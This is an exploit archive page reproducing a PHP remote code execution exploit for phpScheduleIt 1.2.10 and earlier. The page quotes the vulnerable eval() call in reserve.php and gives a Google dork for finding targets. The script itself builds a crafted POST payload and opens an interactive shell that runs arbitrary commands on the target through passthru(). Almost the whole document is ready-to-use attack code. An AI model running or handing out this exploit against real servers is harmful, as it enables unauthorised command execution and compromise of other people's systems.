首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
phpScheduleIt <= 1.2.10 (reserve.php) Remote Code Execution Exploit
来源:n0b0d13s[at]gmail[dot]com 作者:EgiX 发布时间:2008-10-03  
<?php

/*
-------------------------------------------------------------------
phpScheduleIt <= 1.2.10 (reserve.php) Remote Code Execution Exploit
-------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://phpscheduleit.sourceforge.net/
dork.....: inurl:roschedule.php
details..: works with magic_quotes_gpc = off

[-] vulnerable code in /reserve.php

51. if (isset($_POST['btnSubmit']) && strstr($_SERVER['HTTP_REFERER'], $_SERVER['PHP_SELF'])) {
52. $t->set_title(translate("Processing $Class"));
53. $t->printHTMLHeader();
54. $t->startMain();
55.
56. process_reservation($_POST['fn']);
57. }
58. else {
59. $res_info = getResInfo();
60. $t->set_title($res_info['title']);
61. $t->printHTMLHeader();
62.    $t->startMain();
63.    present_reservation($res_info['resid']);
64. }

[...]

79. function process_reservation($fn) {
80. $success = false;
81. global $Class;
82. $is_pending = (isset($_POST['pending']) && $_POST['pending']);
83.
84. if (isset($_POST['start_date'])) { // Parse the POST-ed starting and ending dates
85. $start_date = eval('return mktime(0,0,0, \'' . str_replace(INTERNAL_DATE_SEPERATOR, '\',\'', $_POST['start_date']) . '\');');
86. $end_date = eval('return mktime(0,0,0, \'' . str_replace(INTERNAL_DATE_SEPERATOR, '\',\'', $_POST['end_date']) . '\');');
87. }

An attacker might be able to inject and execute PHP code through $_POST['start_date'], that is passed to eval() at line 85
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

print "\n+---------------------------------------------------------------+";
print "\n| phpScheduleIt <= 1.2.10 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /phpscheduleit/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "btnSubmit=1&start_date=1').\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die};%%23";
$packet  = "POST {$path}reserve.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Referer: {$path}reserve.php\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Content-Length: ".(strlen($payload)-1)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

while(1)
{
print "\nphpscheduleit-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$html  = http_send($host, sprintf($packet, base64_encode($cmd)));
$shell = explode("_code_", $html);
preg_match("/_code_/", $html) ? print "\n{$shell[1]}" : die("\n[-] Exploit failed...\n");
}
else break;
}

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MySQL Quick Admin <= 1.5.5 (CO
·ESET SysInspector - 1.1.1.0 (e
·ADN Forum <= 1.0b Blind SQL In
·mIRC 6.34 Remote Buffer Overfl
·SG Real Estate Portal 2.0 Blin
·OpenX 2.6 (ac.php bannerid) Re
·GdPicture Pro ActiveX (gdpictu
·Autodesk DWF Viewer Control /
·IP Reg <= 0.4 Remote Blind SQL
·PhpCms2007 sp6 SQL injection 0
·Serv-U 7.2.0.1 (stou con:1) De
·MS Internet Explorer GDI+ Proo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved